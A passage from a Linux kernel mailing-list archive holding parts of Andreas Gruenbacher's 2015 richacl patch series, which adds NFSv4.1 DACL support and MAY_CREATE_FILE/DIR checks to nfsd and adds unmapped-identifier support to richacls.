nfserr_jukebox; + (*acl)->a_flags = dummy32; + } label->len = 0; #ifdef CONFIG_NFSD_V4_SECURITY_LABEL @@ -2272,6 +2319,42 @@ out_resource: return nfserr_resource; } +static __be32 nfsd4_encode_acl_entries(struct xdr_stream *xdr, + struct richacl *acl, struct svc_rqst *rqstp, + unsigned short flags_mask, unsigned int ace_mask) +{ + __be32 *p; + + flags_mask &= ~RICHACE_SPECIAL_WHO; + + p = xdr_reserve_space(xdr, 4); + if (!p) + return nfserr_resource; + + if (acl == NULL) { + *p++ = cpu_to_be32(0); + } else { + struct richace *ace; + + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + __be32 status; + + p = xdr_reserve_space(xdr, 4*3); + if (!p) + return nfserr_resource; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & flags_mask); + *p++ = cpu_to_be32(ace->e_mask & ace_mask); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); + if (status) + return status; + } + } + return 0; +} + /* * Note: @fhp can be NULL; in this case, we might have to compose the filehandle * ourselves. @@ -2342,15 +2425,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, goto out; fhp = tempfh; } - if (bmval0 & FATTR4_WORD0_ACL) { + if ((bmval0 & FATTR4_WORD0_ACL) || (bmval1 & FATTR4_WORD1_DACL)) { acl = nfsd4_get_acl(rqstp, dentry); if (IS_ERR(acl)) { err = PTR_ERR(acl); acl = NULL; } - if (err == -EOPNOTSUPP) + if (err == -EOPNOTSUPP) { bmval0 &= ~FATTR4_WORD0_ACL; - else if (err == -EINVAL) { + bmval1 &= ~FATTR4_WORD1_DACL; + } else if (err == -EINVAL) { status = nfserr_attrnotsupp; goto out; } else if (err != 0) @@ -2389,6 +2473,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; + if (!IS_RICHACL(d_inode(dentry))) + word1 &= ~FATTR4_WORD1_DACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; if (!word2) { @@ -2502,35 +2588,12 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct richace *ace; - - if (acl == NULL) { - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - - *p++ = cpu_to_be32(0); - goto out_acl; - } - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(acl->a_count); - - richacl_for_each_entry(ace, acl) { - p = xdr_reserve_space(xdr, 4*3); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & - ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); - *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); - status = nfsd4_encode_ace_who(xdr, rqstp, ace); - if (status) - goto out; - } + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(minorversion)); + if (status) + goto out; } -out_acl: if (bmval0 & FATTR4_WORD0_ACLSUPPORT) { p = xdr_reserve_space(xdr, 4); if (!p) @@ -2746,6 +2809,16 @@ out_acl: } p = xdr_encode_hyper(p, ino); } + if (bmval1 & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(xdr, 4); + if (!p) + goto out_resource; + *p++ = cpu_to_be32(acl->a_flags); + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~0, nfsd4_ace_mask(minorversion)); + if (status) + goto out; + } #ifdef CONFIG_NFSD_PNFS if (bmval1 & FATTR4_WORD1_FS_LAYOUT_TYPES) { status = nfsd4_encode_layout_type(xdr, exp->ex_layout_type); diff --git a/fs/nfsd/nfsd.h b/fs/nfsd/nfsd.h index cf98052..cb5c3ed 100644 --- a/fs/nfsd/nfsd.h +++ b/fs/nfsd/nfsd.h @@ -339,7 +339,8 @@ void nfsd_lockd_shutdown(void); NFSD4_SUPPORTED_ATTRS_WORD0 #define NFSD4_1_SUPPORTED_ATTRS_WORD1 \ - (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1) + (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1 | \ + FATTR4_WORD1_DACL) #define NFSD4_1_SUPPORTED_ATTRS_WORD2 \ (NFSD4_SUPPORTED_ATTRS_WORD2 | PNFSD_SUPPORTED_ATTRS_WORD2 | \ @@ -386,7 +387,8 @@ static inline u32 nfsd_suppattrs2(u32 minorversion) (FATTR4_WORD0_SIZE | FATTR4_WORD0_ACL) #define NFSD_WRITEABLE_ATTRS_WORD1 \ (FATTR4_WORD1_MODE | FATTR4_WORD1_OWNER | FATTR4_WORD1_OWNER_GROUP \ - | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET) + | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET \ + | FATTR4_WORD1_DACL) #ifdef CONFIG_NFSD_V4_SECURITY_LABEL #define NFSD_WRITEABLE_ATTRS_WORD2 FATTR4_WORD2_SECURITY_LABEL #else diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 1422fc6..682ced3 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -394,6 +394,7 @@ enum lock_type4 { #define FATTR4_WORD1_TIME_MODIFY (1UL << 21) #define FATTR4_WORD1_TIME_MODIFY_SET (1UL << 22) #define FATTR4_WORD1_MOUNTED_ON_FILEID (1UL << 23) +#define FATTR4_WORD1_DACL (1UL << 26) #define FATTR4_WORD1_FS_LAYOUT_TYPES (1UL << 30) #define FATTR4_WORD2_LAYOUT_TYPES (1UL << 0) #define FATTR4_WORD2_LAYOUT_BLKSIZE (1UL << 1) diff --git a/include/uapi/linux/nfs4.h b/include/uapi/linux/nfs4.h index 2b871e0..b850ffd 100644 --- a/include/uapi/linux/nfs4.h +++ b/include/uapi/linux/nfs4.h @@ -121,7 +121,8 @@ #define NFS4_ACE_GENERIC_READ 0x00120081 #define NFS4_ACE_GENERIC_WRITE 0x00160106 #define NFS4_ACE_GENERIC_EXECUTE 0x001200A0 -#define NFS4_ACE_MASK_ALL 0x001F01FF +#define NFS40_ACE_MASK_ALL 0x001F01FF +#define NFS4_ACE_MASK_ALL 0x001F07FF #define EXCHGID4_FLAG_SUPP_MOVED_REFER 0x00000001 #define EXCHGID4_FLAG_SUPP_MOVED_MIGR 0x00000002 -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C71688015 for ; Fri, 16 Oct 2015 10:22:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9B63B304053 for ; Fri, 16 Oct 2015 08:22:41 -0700 (PDT) X-ASG-Debug-ID: 1445008960-04bdf06db172cc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sPvQib79FgunFpX8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:40 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id E1EBBC0BFD09; Fri, 16 Oct 2015 15:22:39 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcK011947; Fri, 16 Oct 2015 11:22:33 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 37/48] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Date: Fri, 16 Oct 2015 17:18:15 +0200 X-ASG-Orig-Subj: [PATCH v11 37/48] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Message-Id: <1445008706-15115-38-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008960 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 For local file systems, the vfs performs the necessary permission checks for operations like creating files and directories. NFSd duplicates several of those checks. The vfs checks have been extended to check for additional permissions like MAY_CREATE_FILE and MY_CREATE_DIR; the nfsd checks currently lack those extensions. Ideally, all duplicate checks should be removed; for now, just fix the duplicate checks instead though. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 5 +++-- fs/nfsd/nfsfh.c | 8 ++++---- fs/nfsd/vfs.c | 28 ++++++++++++++++++++-------- fs/nfsd/vfs.h | 17 +++++++++-------- 4 files changed, 36 insertions(+), 22 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index a053e78..8d476ff 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -599,14 +599,15 @@ static __be32 nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, struct nfsd4_create *create) { + int access = create->cr_type == NF4DIR ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; struct svc_fh resfh; __be32 status; dev_t rdev; fh_init(&resfh, NFS4_FHSIZE); - status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, - NFSD_MAY_CREATE); + status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, access); if (status) return status; diff --git a/fs/nfsd/nfsfh.c b/fs/nfsd/nfsfh.c index 350041a..7159316 100644 --- a/fs/nfsd/nfsfh.c +++ b/fs/nfsd/nfsfh.c @@ -319,10 +319,10 @@ fh_verify(struct svc_rqst *rqstp, struct svc_fh *fhp, umode_t type, int access) /* * We still have to do all these permission checks, even when * fh_dentry is already set: - * - fh_verify may be called multiple times with different - * "access" arguments (e.g. nfsd_proc_create calls - * fh_verify(...,NFSD_MAY_EXEC) first, then later (in - * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE). + * - fh_verify may be called multiple times with different + * "access" arguments (e.g. nfsd_proc_create calls + * fh_verify(...,NFSD_MAY_EXEC) first, then later (in + * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE_FILE). * - in the NFSv4 case, the filehandle may have been filled * in by fh_compose, and given a dentry, but further * compound operations performed with that filehandle diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 45c0497..fb35775 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -1128,6 +1128,8 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, __be32 err; __be32 err2; int host_err; + int access = (type == S_IFDIR) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; err = nfserr_perm; if (!flen) @@ -1136,7 +1138,7 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, access); if (err) goto out; @@ -1301,7 +1303,7 @@ do_nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, /* If file doesn't exist, check for permissions to create one */ if (d_really_is_negative(dchild)) { - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; } @@ -1485,7 +1487,7 @@ nfsd_symlink(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; @@ -1532,7 +1534,7 @@ nfsd_link(struct svc_rqst *rqstp, struct svc_fh *ffhp, __be32 err; int host_err; - err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; err = fh_verify(rqstp, tfhp, 0, NFSD_MAY_NOP); @@ -1604,11 +1606,12 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, struct inode *fdir, *tdir; __be32 err; int host_err; + int access; err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_REMOVE); if (err) goto out; - err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_NOP); if (err) goto out; @@ -1647,6 +1650,13 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, if (odentry == trap) goto out_dput_old; + host_err = 0; + access = S_ISDIR(d_inode(odentry)->i_mode) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; + err = fh_verify(rqstp, tfhp, S_IFDIR, access); + if (err) + goto out_dput_old; + ndentry = lookup_one_len(tname, tdentry, tlen); host_err = PTR_ERR(ndentry); if (IS_ERR(ndentry)) @@ -1672,7 +1682,8 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, out_dput_old: dput(odentry); out_nfserr: - err = nfserrno(host_err); + if (host_err) + err = nfserrno(host_err); /* * We cannot rely on fh_unlock on the two filehandles, * as that would do the wrong thing if the two directories @@ -2005,8 +2016,9 @@ nfsd_permission(struct svc_rqst *rqstp, struct svc_export *exp, uid_eq(inode->i_uid, current_fsuid())) return 0; - /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC} */ - err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC)); + /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC}. */ + err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC| + MAY_CREATE_DIR|MAY_CREATE_FILE)); /* Allow read access to binaries even when mode 111 */ if (err == -EACCES && S_ISREG(inode->i_mode) && diff --git a/fs/nfsd/vfs.h b/fs/nfsd/vfs.h index fee2451..c849ef2 100644 --- a/fs/nfsd/vfs.h +++ b/fs/nfsd/vfs.h @@ -19,18 +19,19 @@ #define NFSD_MAY_TRUNC 0x010 #define NFSD_MAY_LOCK 0x020 #define NFSD_MAY_MASK 0x03f +#define NFSD_MAY_CREATE_FILE 0x103 /* == MAY_{EXEC|WRITE|CREATE_FILE} */ +#define NFSD_MAY_CREATE_DIR 0x203 /* == MAY_{EXEC|WRITE|CREATE_DIR} */ /* extra hints to permission and open routines: */ -#define NFSD_MAY_OWNER_OVERRIDE 0x040 -#define NFSD_MAY_LOCAL_ACCESS 0x080 /* for device special files */ -#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x100 -#define NFSD_MAY_NOT_BREAK_LEASE 0x200 -#define NFSD_MAY_BYPASS_GSS 0x400 -#define NFSD_MAY_READ_IF_EXEC 0x800 +#define NFSD_MAY_OWNER_OVERRIDE 0x04000 +#define NFSD_MAY_LOCAL_ACCESS 0x08000 /* for device special files */ +#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x10000 +#define NFSD_MAY_NOT_BREAK_LEASE 0x20000 +#define NFSD_MAY_BYPASS_GSS 0x40000 +#define NFSD_MAY_READ_IF_EXEC 0x80000 -#define NFSD_MAY_64BIT_COOKIE 0x1000 /* 64 bit readdir cookies for >= NFSv3 */ +#define NFSD_MAY_64BIT_COOKIE 0x100000 /* 64 bit readdir cookies for >= NFSv3 */ -#define NFSD_MAY_CREATE (NFSD_MAY_EXEC|NFSD_MAY_WRITE) #define NFSD_MAY_REMOVE (NFSD_MAY_EXEC|NFSD_MAY_WRITE|NFSD_MAY_TRUNC) /* -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99A2C800F for ; Fri, 16 Oct 2015 10:22:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3306FAC003 for ; Fri, 16 Oct 2015 08:22:49 -0700 (PDT) X-ASG-Debug-ID: 1445008966-04bdf06db472ce0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OMHFDH173HNaROM8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:47 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 7CD8A8F2FE; Fri, 16 Oct 2015 15:22:46 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcL011947; Fri, 16 Oct 2015 11:22:40 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 38/48] richacl: Add support for unmapped identifiers Date: Fri, 16 Oct 2015 17:18:16 +0200 X-ASG-Orig-Subj: [PATCH v11 38/48] richacl: Add support for unmapped identifiers Message-Id: <1445008706-15115-39-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008967 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Some remote file systems like nfs may return user or group identifiers that cannot be mapped to local uids / gids. Allow to represent such unmapped identifiers in richacls. (We still cannot represent unmapped owners and owning groups, however.) In the in-memory representation, the richacl is followed by a list of NUL-terminated strings, with no padding. Entries with an unmapped identifier have the RICHACE_UNMAPPED_WHO flag set, and ace->e_id.offs specifies the offset into this list. Multiple entries can refer to the same offset. The xattr representation is similar, but ace->e_id is ignored, and the list of unmapped identifier strings contains a string for each acl entry whose RICHACE_UNMAPPED_WHO flag is set. Signed-off-by: Andreas Gruenbacher --- fs/richacl_base.c | 139 ++++++++++++++++++++++++++++++++++++++++++++---- fs/richacl_compat.c | 18 +++---- fs/richacl_inode.c | 4 +- fs/richacl_xattr.c | 69 ++++++++++++++++++++---- include/linux/richacl.h | 32 +++++++++-- 5 files changed, 226 insertions(+), 36 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 3a97a82..f88d19b 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -23,22 +23,25 @@ MODULE_LICENSE("GPL"); /** - * richacl_alloc - allocate a richacl + * __richacl_alloc - allocate a richacl * @count: number of entries + * @unmapped_size: size to reserve for unmapped identifiers */ struct richacl * -richacl_alloc(int count, gfp_t gfp) +__richacl_alloc(unsigned int count, size_t unmapped_size, gfp_t gfp) { - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + unmapped_size; struct richacl *acl = kzalloc(size, gfp); if (acl) { atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; + acl->a_unmapped_size = unmapped_size; } return acl; } -EXPORT_SYMBOL_GPL(richacl_alloc); +EXPORT_SYMBOL_GPL(__richacl_alloc); /** * richacl_clone - create a copy of a richacl @@ -47,7 +50,8 @@ struct richacl * richacl_clone(const struct richacl *acl, gfp_t gfp) { int count = acl->a_count; - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + acl->a_unmapped_size; struct richacl *dup = kmalloc(size, gfp); if (dup) { @@ -59,6 +63,9 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) /** * richace_copy - copy an acl entry + * + * If @from has an unmapped who value (from->e_flags & RICHACE_UNMAPPED_WHO), + * it can only be copied within the same acl! */ void richace_copy(struct richace *to, const struct richace *from) @@ -66,6 +73,82 @@ richace_copy(struct richace *to, const struct richace *from) memcpy(to, from, sizeof(struct richace)); } +/** + * richacl_add_unmapped_identifier + * @pacl: Pointer to an acl + * @pace: acl entry within @acl + * @who: unmapped identifier + * @len: length of @who + * @gfp: memory allocation flags + * + * Add an unmapped identifier to an acl, possibly reallocating the acl. + */ +int richacl_add_unmapped_identifier(struct richacl **pacl, + struct richace **pace, + const char *who, + unsigned int len, gfp_t gfp) +{ + struct richacl *acl = *pacl; + size_t size = sizeof(struct richacl) + + acl->a_count * sizeof(struct richace) + + acl->a_unmapped_size + len + 1; + unsigned int index = *pace - acl->a_entries; + + acl = krealloc(*pacl, size, gfp); + if (acl) { + char *unmapped = (char *)(acl->a_entries + acl->a_count); + struct richace *ace = acl->a_entries + index; + + ace->e_flags |= RICHACE_UNMAPPED_WHO; + ace->e_flags &= ~RICHACE_SPECIAL_WHO; + ace->e_id.offs = acl->a_unmapped_size; + memcpy(unmapped + ace->e_id.offs, who, len); + unmapped[ace->e_id.offs + len] = 0; + acl->a_unmapped_size += len + 1; + *pace = ace; + *pacl = acl; + return 0; + } + return -1; +} +EXPORT_SYMBOL_GPL(richacl_add_unmapped_identifier); + +/** + * richace_unmapped_identifier - get unmapped identifier + * @acl: acl containing @ace + * @ace: acl entry + * + * Get the unmapped identifier of @ace as a NUL-terminated string, or NULL if + * @ace doesn't have an unmapped identifier. + */ +const char *richace_unmapped_identifier(const struct richace *ace, + const struct richacl *acl) +{ + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + if (!(ace->e_flags & RICHACE_UNMAPPED_WHO)) + return NULL; + return unmapped + ace->e_id.offs; +} +EXPORT_SYMBOL(richace_unmapped_identifier); + +/** + * richacl_has_unmapped_identifiers + * + * Check if an acl has unmapped identifiers. + */ +bool richacl_has_unmapped_identifiers(struct richacl *acl) +{ + struct richace *ace; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_UNMAPPED_WHO) + return true; + } + return false; +} +EXPORT_SYMBOL_GPL(richacl_has_unmapped_identifiers); + /* * richacl_mask_to_mode - compute the file permission bits from mask * @mask: %RICHACE_* permission mask @@ -214,7 +297,7 @@ static unsigned int richacl_allowed_to_who(struct richacl *acl, richacl_for_each_entry_reverse(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who) || + if (richace_is_same_identifier(acl, ace, who) || richace_is_everyone(ace)) { if (richace_is_allow(ace)) allowed |= ace->e_mask; @@ -505,45 +588,72 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) const struct richace *dir_ace; struct richacl *acl = NULL; struct richace *ace; - int count = 0; + unsigned int count = 0, unmapped_size = 0, offset = 0; + const char *dir_unmapped; + char *unmapped; if (isdir) { richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + richace_copy(ace, dir_ace); if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } else { richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + richace_copy(ace, dir_ace); ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; /* @@ -551,6 +661,17 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) * non-directories, so clear it. */ ace->e_mask &= ~RICHACE_DELETE_CHILD; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index e513958..c5c670e 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -71,11 +71,13 @@ richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) { struct richacl *acl = alloc->acl; unsigned int index = *ace - acl->a_entries; - size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + size_t tail_size = (acl->a_count - index) * sizeof(struct richace) + + acl->a_unmapped_size; if (alloc->count == acl->a_count) { size_t new_size = sizeof(struct richacl) + - (acl->a_count + 1) * sizeof(struct richace); + (acl->a_count + 1) * sizeof(struct richace) + + acl->a_unmapped_size; acl = krealloc(acl, new_size, GFP_KERNEL); if (!acl) @@ -103,10 +105,6 @@ struct richace *richacl_append_entry(struct richacl_alloc *alloc) struct richacl *acl = alloc->acl; struct richace *ace = acl->a_entries + acl->a_count; - if (alloc->count > alloc->acl->a_count) { - acl->a_count++; - return ace; - } return richacl_insert_entry(alloc, &ace) ? NULL : ace; } EXPORT_SYMBOL_GPL(richacl_append_entry); @@ -261,12 +259,12 @@ __richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_allow(ace)) { - if (richace_is_same_identifier(ace, who)) { + if (richace_is_same_identifier(acl, ace, who)) { allow &= ~ace->e_mask; allow_last = ace; } } else if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) allow &= ~ace->e_mask; else if (allow & ace->e_mask) allow_last = NULL; @@ -613,7 +611,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, richacl_for_each_entry(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) deny &= ~ace->e_mask; } if (!deny) @@ -629,7 +627,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if 